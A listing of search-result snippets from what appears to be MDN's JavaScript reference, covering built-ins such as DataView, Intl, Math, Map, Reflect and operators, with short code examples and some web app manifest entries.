examples creating an aggregateerror try { throw new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror()' in that specification.
Array.prototype[@@iterator]() - JavaScript
the @@iterator method is part of the iterable protocol, that defines how to synchronously iterate over a sequence of values.
Array.prototype.entries() - JavaScript
the entries() method returns a new array iterator object that contains the key/value pairs for each index in the array.
Array.prototype.keys() - JavaScript
the keys() method returns a new array iterator object that contains the keys for each index in the array.
Array.prototype.reverse() - JavaScript
objects which do not contain a length property reflecting the last in a series of consecutive, zero-based numerical properties may not behave in any meaningful manner.
Array.prototype.toString() - JavaScript
for array objects, the tostring method joins the array and returns one string containing each array element separated by commas.
Atomics.and() - JavaScript
the truth table for the and operation is: a b a & b 0 0 0 0 1 0 1 0 0 1 1 1 for example, a bitwise and of 5 & 1 results in 0001 which is 1 in decimal.
Atomics.isLockFree() - JavaScript
syntax atomics.islockfree(size) parameters size the size in bytes to check.
Atomics.notify() - JavaScript
examples using notify given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
Atomics.or() - JavaScript
the truth table for the or operation is: a b a | b 0 0 0 0 1 1 1 0 1 1 1 1 for example, a bitwise or of 5 & 1 results in 0101 which is 5 in decimal.
Atomics.xor() - JavaScript
the truth table for the xor operation is: a b a ^ b 0 0 0 0 1 1 1 0 1 1 1 0 for example, a bitwise xor of 5 ^ 1 results in 0100 which is 4 in decimal.
BigInt.prototype.toLocaleString() - JavaScript
chinese decimal console.log(bigint.tolocalestring('zh-hans-cn-u-nu-hanidec')); // → 一二三,四五六,七八九,一二三,四五六,七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(bigint.tolocalestring(['ban', 'id'])); // → 123.456.789.123.456.789 using options the results provided by t...
Boolean - JavaScript
any object of which the value is not undefined or null, including a boolean object whose value is false, evaluates to true when passed to a conditional statement.
DataView() constructor - JavaScript
if unspecified, the view's length will match the buffer's length.
DataView.prototype.buffer - JavaScript
the value is established when the dataview is constructed and cannot be changed.
DataView.prototype.byteOffset - JavaScript
the value is established when an dataview is constructed and cannot be changed.
DataView.prototype.setBigInt64() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such that it would store beyond the end of the view.
DataView.prototype.setBigUint64() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such that it would store beyond the end of the view.
DataView.prototype.setFloat32() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
DataView.prototype.setFloat64() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
DataView.prototype.setInt16() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
DataView.prototype.setInt32() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
DataView.prototype.setInt8() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
DataView.prototype.setUint16() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
DataView.prototype.setUint32() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
DataView.prototype.setUint8() - JavaScript
errors thrown rangeerror thrown if the byteoffset is set such as it would store beyond the end of the view.
Date.prototype.getUTCMilliseconds() - JavaScript
not to be confused with unix epoch time.
Date.prototype.getUTCMonth() - JavaScript
0 for january, 1 for february, 2 for march, and so on.
Date.prototype.setDate() - JavaScript
return value the number of milliseconds between 1 january 1970 00:00:00 utc and the given date (the date object is also changed in place).
Date.prototype.setUTCDate() - JavaScript
for example, if you use 40 for dayvalue, and the month stored in the date object is june, the day will be changed to 10 and the month will be incremented to july.
Date.prototype.toUTCString() - JavaScript
the most common return value was an rfc-1123 formatted date stamp, which is a slightly updated version of rfc-822 date stamps.
EvalError() constructor - JavaScript
creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications spec...
EvalError - JavaScript
creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratchpad/2:2:9\n" } specifications spec...
FinalizationRegistry.prototype.register() - JavaScript
ples using register the following registers the target object referenced by target, passing in the held value "some value" and passing the target object itself as the unregistration token: registry.register(target, "some value", target); the following registers the target object referenced by target, passing in another object as the held value, and not passing in any unregistration token (which means target can't be unregistered): registry.register(target, {"useful": "info about target"}); specifications specification weakrefsthe definition of 'finalizationregistry.prototype.register' in that specification.
Function.displayName - JavaScript
ntent); }; popup.displayname = 'show popup'; console.log(popup.displayname); // "show popup" defining a displayname in function expressions you can define a function with a display name in a function expression: var object = { somemethod: function() {} }; object.somemethod.displayname = 'somemethod'; console.log(object.somemethod.displayname); // logs "somemethod" try { somemethod } catch(e) { console.log(e); } // referenceerror: somemethod is not defined changing displayname dynamically you can dynamically change the displayname of a function: var object = { // anonymous somemethod: function(value) { arguments.callee.displayname = 'somemethod (' + value + ')'; } }; console.log(object.somemethod.displayname); // "undefined" object.somemethod('123') console.log(obje...
InternalError() constructor - JavaScript
for example: "internalerror: too much recursion".
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
weekday era year month day hour minute second timezonename the values resulting from format matching between the corresponding properties in the options argument and the available combinations and representations for date-time formatting in the selected locale.
Intl.DisplayNames.prototype.of() - JavaScript
examples using the of method let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" let currencynames = new intl.displaynames(['en'], {type: 'currency'}); currencynames.of('eur'); // "euro" specifications specification intl.displaynamesthe definition of 'of()' in that specification.
Intl​.ListFormat.prototype​.format() - JavaScript
syntax listformat.format([list]); parameters list an iterable object, such as an array return value a language-specific formatted string representing the elements of the list description the format() method returns a string that has been formatted based on parameters provided in the intl.listformat object.
Intl.Locale() constructor - JavaScript
examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us = new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types.
Intl.Locale.prototype.language - JavaScript
let langstr = new intl.locale("en-latn-us"); console.log(langstr.language); // prints "en" overriding language via the configuration object while the language subtag must be specified, the locale constructor takes a configuration object, which can override the language subtag.
Intl.Locale.prototype.region - JavaScript
the region is a mandatory part of a let regionstr = new intl.locale("en-latn-us"); console.log(regionstr.region); // prints "us" setting the region via the configuration object the locale constructor takes a configuration object, which can be used to set the region subtag and property.
Intl.NumberFormat - JavaScript
chinese decimal console.log(new intl.numberformat('zh-hans-cn-u-nu-hanidec').format(number)); // → 一二三,四五六.七八九 // when requesting a language that may not be supported, such as // balinese, include a fallback language, in this case indonesian console.log(new intl.numberformat(['ban', 'id']).format(number)); // → 123.456,789 using options the results can be customized using t...
Intl.PluralRules.select() - JavaScript
the intl.pluralrules.prototype.select method returns a string indicating which plural rule to use for locale-aware formatting.
Intl.PluralRules - JavaScript
intl.pluralrules.prototype.select() returns a string indicating which plural rule to use for locale-aware formatting.
Intl.RelativeTimeFormat.prototype.format() - JavaScript
const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
Intl.RelativeTimeFormat - JavaScript
const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
Intl.getCanonicalLocales() - JavaScript
syntax intl.getcanonicallocales(locales) parameters locales a list of string values for which to get the canonical locale names.
Map.prototype[@@iterator]() - JavaScript
syntax mymap[symbol.iterator] return value the map iterator function, which is the entries() function by default.
Map() constructor - JavaScript
(for example, arrays with two elements, such as [[ 1, 'one' ],[ 2, 'two' ]].) each key-value pair is added to the new map.
Map.prototype.entries() - JavaScript
the entries() method returns a new iterator object that contains the [key, value] pairs for each element in the map object in insertion order.
Map.prototype.get() - JavaScript
if the value that is associated to the provided key is an object, then you will get a reference to that object and any change made to that object will effectively modify it inside the map object.
Map.prototype.keys() - JavaScript
the keys() method returns a new iterator object that contains the keys for each element in the map object in insertion order.
Map.prototype.set() - JavaScript
examples using set() let mymap = new map() // add new elements to the map mymap.set('bar', 'foo') mymap.set(1, 'foobar') // update an element in the map mymap.set('bar', 'baz') using the set() with chaining since the set() method returns back the same map object, you can chain the method call like below: // add new elements to the map with chaining.
Map.prototype.size - JavaScript
a set accessor function for size is undefined; you can not change this property.
Map.prototype.values() - JavaScript
the values() method returns a new iterator object that contains the values for each element in the map object in insertion order.
Math.SQRT1_2 - JavaScript
the math.sqrt1_2 property represents the square root of 1/2 which is approximately 0.707: math.sqrt1_2=12=12≈0.707\mathtt{\mi{math.sqrt1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707 the source for this interactive example is stored in a github repository.
Math.acos() - JavaScript
the math.acos() function returns the arccosine (in radians) of a number, that is ∀x∊[-1;1],math.acos(x)=arccos(x)= the unique y∊[0;π]such thatcos(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x the source for this interactive example is stored in a github repository.
Math.acosh() - JavaScript
the math.acosh() function returns the hyperbolic arc-cosine of a number, that is ∀x≥1,math.acosh(x)=arcosh(x)= the unique y≥0such thatcosh(y)=x\forall x \geq 1, \mathtt{\operatorname{math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ the unique } \; y \geq 0 \; \text{such that} \; \cosh(y) = x the source for this interactive example is stored in a github repository.
Math.asin() - JavaScript
the math.asin() function returns the arcsine (in radians) of a number, that is ∀x∊[-1;1],math.asin(x)=arcsin(x)= the unique y∊[-π2;π2]such thatsin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x the source for this interactive example is stored in a github repository.
Math.asinh() - JavaScript
the math.asinh() function returns the hyperbolic arcsine of a number, that is math.asinh(x)=arsinh(x)= the unique ysuch thatsinh(y)=x\mathtt{\operatorname{math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ the unique } \; y \; \text{such that} \; \sinh(y) = x the source for this interactive example is stored in a github repository.
Math.atan() - JavaScript
the math.atan() function returns the arctangent (in radians) of a number, that is math.atan(x)=arctan(x)= the unique y∊[-π2;π2]such thattan(y)=x\mathtt{\operatorname{math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x the source for this interactive example is stored in a github repository.
Math.atanh() - JavaScript
the math.atanh() function returns the hyperbolic arctangent of a number, that is ∀x∊(-1,1),math.atanh(x)=arctanh(x)= the unique ysuch thattanh(y)=x\forall x \in \left( -1, 1 \right), \mathtt{\operatorname{math.atanh}(x)} = \operatorname{arctanh}(x) = \text{ the unique } \; y \; \text{such that} \; \tanh(y) = x the source for this interactive example is stored in a github repository.
Math.cbrt() - JavaScript
the math.cbrt() function returns the cube root of a number, that is math.cbrt(x)=x3=the uniqueysuch thaty3=x\mathtt{math.cbrt(x)} = \sqrt[3]{x} = \text{the unique} \; y \; \text{such that} \; y^3 = x the source for this interactive example is stored in a github repository.
Math.clz32() - JavaScript
// 00000000000000001000000000001000 (16 leading zeros) math.clz32(a); // 16 var b = ~32776; // 11111111111111110111111111110111 (32776 inversed, 0 leading zeros) math.clz32(b); // 0 (this is equal to how many leading one's there are in a) using this logic, a clon function can be created as follows: var clz = math.clz32; function clon(integer){ return clz(~integer); } further, this technique could be extended to create jumpless "count trailing zeros" and "count trailing ones" functions as seen below.
Math.log1p() - JavaScript
if, instead, you calculate math.log1p(1.1111111111e-15) you will get a much more accurate answer 1.1111111110999995e-15 with 15 correct digits of precision (actually 16 in this case).
Math.max() - JavaScript
examples using math.max() math.max(10, 20); // 20 math.max(-10, -20); // -10 math.max(-10, 20); // 20 getting the maximum element of an array array.reduce() can be used to find the maximum element in a numeric array, by comparing each value: var arr = [1,2,3]; var max = arr.reduce(function(a, b) { return math.max(a, b); }); the following function uses function.prototype.apply() to get the maximum of an array.
Math.min() - JavaScript
zero or more numbers among which the lowest value will be selected and returned.
Math.pow() - JavaScript
of 2) math.pow(2, 1/3); // 1.2599210498948732 (cube root of 2) // signed exponents math.pow(7, -2); // 0.02040816326530612 (1/49) math.pow(8, -1/3); // 0.5 // signed bases math.pow(-7, 2); // 49 (squares are positive) math.pow(-7, 3); // -343 (cubes can be negative) math.pow(-7, 0.5); // nan (negative numbers don't have a real square root) // due to "even" and "odd" roots laying close to each other, // and limits in the floating number precision, // negative bases with fractional exponents always return nan math.pow(-7, 1/3); // nan specifications specification ecmascript (ecma-262)the definition of 'math.pow' in that specification.
Math.round() - JavaScript
note that this differs from many languages' round() functions, which often round this case to the next integer away from zero, instead giving a different result in the case of negative numbers with a fractional part of exactly 0.5.
Math.sign() - JavaScript
-1 : 0 ) // if x is negative, then negative one // || // if x is 0, -0, or nan, or not a number, // +x // then the result will be x, (or) if x is // // not a number, then x converts to number }; } in the above polyfill, no extra type-coercing is needed to make (x > 0) or (x < 0) numbers because subtracting them from each other forces a type conversion from booleans to numbers.
Math.sin() - JavaScript
description the math.sin() method returns a numeric value between -1 and 1, which represents the sine of the angle given in radians.
Math.sqrt() - JavaScript
the math.sqrt() function returns the square root of a number, that is ∀x≥0,math.sqrt(x)=x=the uniquey≥0such thaty2=x\forall x \geq 0, \mathtt{math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x the source for this interactive example is stored in a github repository.
Number.NEGATIVE_INFINITY - JavaScript
note, however, that isfinite would be more appropriate in such a case.
Number.NaN - JavaScript
property attributes of number.nan writable no enumerable no configurable no examples checking whether values are numeric function sanitise(x) { if (isnan(x)) { return number.nan; } return x; } testing against nan see testing against nan on the nan page.
Number.POSITIVE_INFINITY - JavaScript
note, however, that isfinite would be more appropriate in such a case.
Number.parseFloat() - JavaScript
or nan when the first non-whitespace character cannot be converted to a number.
Number.parseInt() - JavaScript
if the radix is smaller than 2 or bigger than 36, and the first non-whitespace character cannot be converted to a number, nan is returned.
Number.prototype.toExponential() - JavaScript
see the discussion of rounding in the description of the tofixed() method, which also applies to toexponential().
Number.prototype.toPrecision() - JavaScript
see the discussion of rounding in the description of the number.prototype.tofixed() method, which also applies to toprecision().
Number - JavaScript
(more details on this are described in the ecmascript standard, chapter 6.1.6 the number type.) const biggestint = number.max_safe_integer // (253 - 1) => 9007199254740991 const smallestint = number.min_safe_integer // -(253 - 1) => -9007199254740991 when parsing data that has been serialized to json, integer values falling outside of this range can be expected to become corrupted when json parser coerces them to number type.
Object.fromEntries() - JavaScript
syntax object.fromentries(iterable); parameters iterable an iterable such as array or map or other objects implementing the iterable protocol.
Object.isSealed() - JavaScript
syntax object.issealed(obj) parameters obj the object which should be checked.
Object.prototype.toLocaleString() - JavaScript
string array: array.prototype.tolocalestring() number: number.prototype.tolocalestring() date: date.prototype.tolocalestring() typedarray: typedarray.prototype.tolocalestring() bigint: bigint.prototype.tolocalestring() examples array tolocalestring() override on array objects, tolocalestring() can be used to print array values as a string, optionally with locale-specific identifiers (such as currency symbols) appended to them: for example: const testarray = [4, 7, 10]; let europrices = testarray.tolocalestring('fr', { style: 'currency', currency: 'eur'}); // "4,00 €,7,00 €,10,00 €" date tolocalestring() override on date objects, tolocalestring() is used to print out date displays more suitable for specific locales: for example: const testdate = new date(date.now()); /...
Object.prototype.valueOf() - JavaScript
an object's valueof method is usually invoked by javascript, but you can invoke it yourself as follows: mynumbertype.valueof() note: objects in string contexts convert via the tostring() method, which is different from string objects converting to string primitives using valueof.
Promise.reject() - JavaScript
for debugging purposes and selective error catching, it is useful to make reason an instanceof error.
Promise.resolve() - JavaScript
true // value: 33 the inverted order of the logs is due to the fact that the then handlers are called asynchronously.
handler.ownKeys() - JavaScript
the type of each array element is either a string or a symbol.
Proxy() constructor - JavaScript
this constructor takes two mandatory arguments: target is the object for which you want to create the proxy handler is the object that defines the custom behavior of the proxy.
Proxy.revocable() - JavaScript
revoke a function with no argument to invalidate (switch off) the proxy.
Reflect.construct() - JavaScript
argumentslist an array-like object specifying the arguments with which target should be called.
Reflect.get() - JavaScript
syntax reflect.get(target, propertykey[, receiver]) parameters target the target object on which to get the property.
Reflect.getOwnPropertyDescriptor() - JavaScript
syntax reflect.getownpropertydescriptor(target, propertykey) parameters target the target object in which to look for the property.
Reflect.getPrototypeOf() - JavaScript
syntax reflect.getprototypeof(target) parameters target the target object of which to get the prototype.
Reflect.ownKeys() - JavaScript
syntax reflect.ownkeys(target) parameters target the target object from which to get the own keys.
Reflect.set() - JavaScript
syntax reflect.set(target, propertykey, value[, receiver]) parameters target the target object on which to set the property.
Reflect - JavaScript
the reflect object provides the following static functions which have the same names as the proxy handler methods.
RegExp.prototype.flags - JavaScript
polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gimsuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification.
RegExp.prototype.source - JavaScript
in addition, line terminators (such as "\n") are escaped now.
RegExp.prototype.toString() - JavaScript
ng tostring() the following example displays the string value of a regexp object: var myexp = new regexp('a+b+c'); console.log(myexp.tostring()); // logs '/a+b+c/' var foo = new regexp('bar', 'g'); console.log(foo.tostring()); // logs '/bar/g' empty regular expressions and escaping starting with ecmascript 5, an empty regular expression returns the string "/(?:)/" and line terminators such as "\n" are escaped: new regexp().tostring(); // "/(?:)/" new regexp('\n').tostring() === '/\n/'; // true, prior to es5 new regexp('\n').tostring() === '/\\n/'; // true, starting with es5 specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.tostring' in that specification.
Set.prototype[@@iterator]() - JavaScript
syntax myset[symbol.iterator] return value the set iterator function, which is the values() function by default.
Set.prototype.add() - JavaScript
examples using the add method var myset = new set(); myset.add(1); myset.add(5).add('some text'); // chainable console.log(myset); // set [1, 5, "some text"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.add' in that specification.
Set.prototype.has() - JavaScript
note: technically speaking, has() uses the samevaluezero algorithm to determine whether the given element is found.
Set.prototype.size - JavaScript
a set accessor function for size is undefined; you cannot change this property.
SharedArrayBuffer() constructor - JavaScript
chrome re-enabled it in v67 on platforms where its site-isolation feature is enabled to protect against spectre-style vulnerabilities.
SharedArrayBuffer.prototype.byteLength - JavaScript
the value is established when the shared array is constructed and cannot be changed.
String.prototype[@@iterator]() - JavaScript
the [@@iterator]() method returns a new iterator object that iterates over the code points of a string value, returning each code point as a string value.
String() constructor - JavaScript
it performs type conversion when called as a function, rather than as a constructor, which is usually more useful.
String.prototype.big() - JavaScript
examples using big() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <fontsize=7>hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: do...
String.prototype.blink() - JavaScript
examples using blink() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the def...
String.prototype.bold() - JavaScript
examples using bold() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.bold' in that specification.
String.prototype.concat() - JavaScript
changes to the original string or the returned string don't affect the other.
String.prototype.fontcolor() - JavaScript
examples using fontcolor() the following example uses the fontcolor() method to change the color of a string by producing a string with the html <font> tag.
String.prototype.italics() - JavaScript
examples using italics() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.italics' in that specification.
String.prototype.link() - JavaScript
syntax str.link(url) parameters url any string that specifies the href attribute of the <a> tag; it should be a valid url (relative or absolute), with any & characters escaped as &amp;, and any " characters escaped as &quot;.
String.prototype.padEnd() - JavaScript
the padend() method pads the current string with a given string (repeated, if needed) so that the resulting string reaches a given length.
String.prototype.padStart() - JavaScript
the padstart() method pads the current string with another string (multiple times, if needed) until the resulting string reaches the given length.
String.prototype.small() - JavaScript
examples using small() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize...
String.prototype.strike() - JavaScript
examples using strike() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.strike' in that s...
String.prototype.trim() - JavaScript
whitespace in this context is all the whitespace characters (space, tab, no-break space, etc.) and all the line terminator characters (lf, cr, etc.).
Symbol.prototype.description - JavaScript
description symbol objects can be created with an optional description which can be used for debugging but not to access the symbol itself.
Symbol.replace - JavaScript
the symbol.replace well-known symbol specifies the method that replaces matched substrings of a string.
Symbol.species - JavaScript
for example, when using methods such as map() that return the default constructor, you want these methods to return a parent array object, instead of the myarray object.
Symbol.split - JavaScript
the symbol.split well-known symbol specifies the method that splits a string at the indices that match a regular expression.
Symbol.toPrimitive - JavaScript
the function is called with a string argument hint, which specifies the preferred type of the result primitive value.
Symbol.toStringTag - JavaScript
ring.call(new validatorclass()); // "[object object]" custom tag with tostringtag now, with the help of tostringtag, you are able to set your own custom tag: class validatorclass { get [symbol.tostringtag]() { return 'validator'; } } object.prototype.tostring.call(new validatorclass()); // "[object validator]" tostringtag available on all dom prototype objects due to a webidl spec change in mid-2020, browsers are adding a symbol.tostringtag property to all dom prototype objects.
SyntaxError() constructor - JavaScript
syntax new syntaxerror([message[, filename[, linenumber]]]) parameters message optional human-readable description of the error filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples catching a syntaxerror try { eval('hoo bar'); } catch (e) { console.error(e instanceof syntaxerror); console.error(e.message); console.error(e.name); console.error(e.filename); console.error(e.linenumber); console.error(e.columnnumber); console.error(e.stack); } creating a syntaxerror try { throw new syntaxerror('hello', 'somefile.js', 10); } catch (e) { console.error(e instance...
SyntaxError - JavaScript
examples catching a syntaxerror try { eval('hoo bar'); } catch (e) { console.error(e instanceof syntaxerror); console.error(e.message); console.error(e.name); console.error(e.filename); console.error(e.linenumber); console.error(e.columnnumber); console.error(e.stack); } creating a syntaxerror try { throw new syntaxerror('hello', 'somefile.js', 10); } catch (e) { console.error(e instance...
TypedArray.prototype[@@iterator]() - JavaScript
syntax arr[symbol.iterator]() return value the array iterator function, which is the values() function by default.
TypedArray.prototype.buffer - JavaScript
the value is established when the typedarray is constructed and cannot be changed.
TypedArray.prototype.byteOffset - JavaScript
the value is established when a typedarray is constructed and cannot be changed.
TypedArray.prototype.entries() - JavaScript
the entries() method returns a new array iterator object that contains the key/value pairs for each index in the array.
TypedArray.prototype.join() - JavaScript
specifies a string to separate each element.
TypedArray.prototype.keys() - JavaScript
the keys() method returns a new array iterator object that contains the keys for each index in the array.
TypedArray.name - JavaScript
property attributes of typedarray.name writable no enumerable no configurable no description typedarray objects differ from each other in the number of bytes per element and in the way the bytes are interpreted.
TypedArray.of() - JavaScript
syntax typedarray.of(element0[, element1[, ...[, elementn]]]) where typedarray is one of: int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array parameters elementn elements of which to create the typed array.
TypedArray.prototype.subarray() - JavaScript
also note that this is creating a new view on the existing buffer; changes to the new object's contents will impact the original object and vice versa.
TypedArray.prototype.toString() - JavaScript
for typedarray objects, the tostring method joins the array and returns one string containing each typed array element separated by commas.
TypedArray.prototype.values() - JavaScript
the values() method returns a new array iterator object that contains the values for each index in the array.
WeakMap.prototype.set() - JavaScript
examples using the set method var wm = new weakmap(); var obj = {}; // add new elements to the weakmap wm.set(obj, 'foo').set(window, 'bar'); // chainable // update an element in the weakmap wm.set(obj, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.set' in that specification.
WeakSet.prototype.add() - JavaScript
examples using add var ws = new weakset(); ws.add(window); // add the window object to the weakset ws.has(window); // true // weakset only takes objects as arguments ws.add(1); // results in "typeerror: invalid value used in weak set" in chrome // and "typeerror: 1 is not a non-null object" in firefox specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.add' in that specification.
null - JavaScript
it is not defined and has never been initialized: foo; //referenceerror: foo is not defined // foo is known to exist now but it has no type or value: var foo = null; foo; //null examples difference between null and undefined when checking for null or undefined, beware of the differences between equality (==) and identity (===) operators, as the former performs type-conversion.
Exponentiation (**) - JavaScript
in most languages, such as php, python, and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions.
Grouping operator ( ) - JavaScript
var a = 1; var b = 2; var c = 3; // default precedence a + b * c // 7 // evaluated by default like this a + (b * c) // 7 // now overriding precedence // addition before multiplication (a + b) * c // 9 // which is equivalent to a * c + b * c // 9 specifications specification ecmascript (ecma-262)the definition of 'the grouping operator' in that specification.
Less than (<) - JavaScript
syntax x < y description the operands are compared using the abstract relational comparison algorithm, which is roughly summarised below: first, objects are converted to primitives using symbol.toprimitive.
Logical AND (&&) - JavaScript
see example: function a(){ console.log('called a'); return false; } function b(){ console.log('called b'); return true; } console.log( a() && b() ); // logs "called a" due to the function call, // then logs false (which is the resulting value of the operator) operator precedence the following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).
Logical AND assignment (&&=) - JavaScript
logical and assignment short-circuits as well meaning that x &&= y is equivalent to: x && (x = y); and not equivalent to the following which would always perform an assignment: x = x && y; examples using logical and assignment let x = 0; let y = 1; x &&= 0; // 0 x &&= 1; // 0 y &&= 1; // 1 y &&= 0; // 0 specifications specification logical assignment operatorsthe definition of 'assignment operators' in that specification.
Logical OR (||) - JavaScript
see example: function a(){ console.log('called a'); return false; } function b(){ console.log('called b'); return true; } console.log( b() || a() ); // logs "called b" due to the function call, // then logs true (which is the resulting value of the operator) operator precedence the following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).
Logical nullish assignment (??=) - JavaScript
(x = y); and not equivalent to the following which would always perform an assignment: x = x ??
Unsigned right shift (>>>) - JavaScript
for example, -9 >>> 2 yields 1073741821, which is different than -9 >> 2 (which yields -3): .
new operator - JavaScript
(normally constructors don't return a value, but they can choose to do so if they want to override the normal object creation process.) you can always add a property to a previously defined object.
Expressions and operators - JavaScript
this chapter documents all the javascript language operators, expressions and keywords.
block - JavaScript
block scoping rules with let, const or function declaration in strict mode by contrast, identifiers declared with let and const do have block scope: let x = 1; { let x = 2; } console.log(x); // logs 1 the x = 2 is limited in scope to the block in which it was defined.
debugger - JavaScript
the debugger statement invokes any available debugging functionality, such as setting a breakpoint.
if...else - JavaScript
for example: var b = new boolean(false); if (b) // this condition is truthy examples using if...else if (cipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } using else if note that there is no elseif syntax in javascript.
label - JavaScript
it is prefixing a statement with an identifier which you can refer to.
background_color - Web app manifests
therefore background_color should match the background-color css property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.
categories - Web app manifests
like search engines and meta keywords, catalogs and stores are free to ignore them.
dir - Web app manifests
WebManifestdir
type string mandatory no the base direction in which to display direction-capable members of the manifest.
iarc_rating_id - Web app manifests
it is intended to be used to determine which ages the web application is appropriate for.
name - Web app manifests
WebManifestname
name is directionality-capable, which means it can be displayed left-to-right or right-to-left based on the values of the dir and lang manifest members.
orientation - Web app manifests
note: the orientation can be changed at runtime via the screen orientation api.
start_url - Web app manifests
type string mandatory no the start_url member is a string that represents the start url of the web application — the prefered url that should be loaded when the user launches the web application (e.g., when the user taps on the web application's icon from a device's application menu or homescreen).
theme_color - Web app manifests
this sometimes affects how the os displays the site (e.g., on android's task switcher, the theme color surrounds the site).
Values - MathML
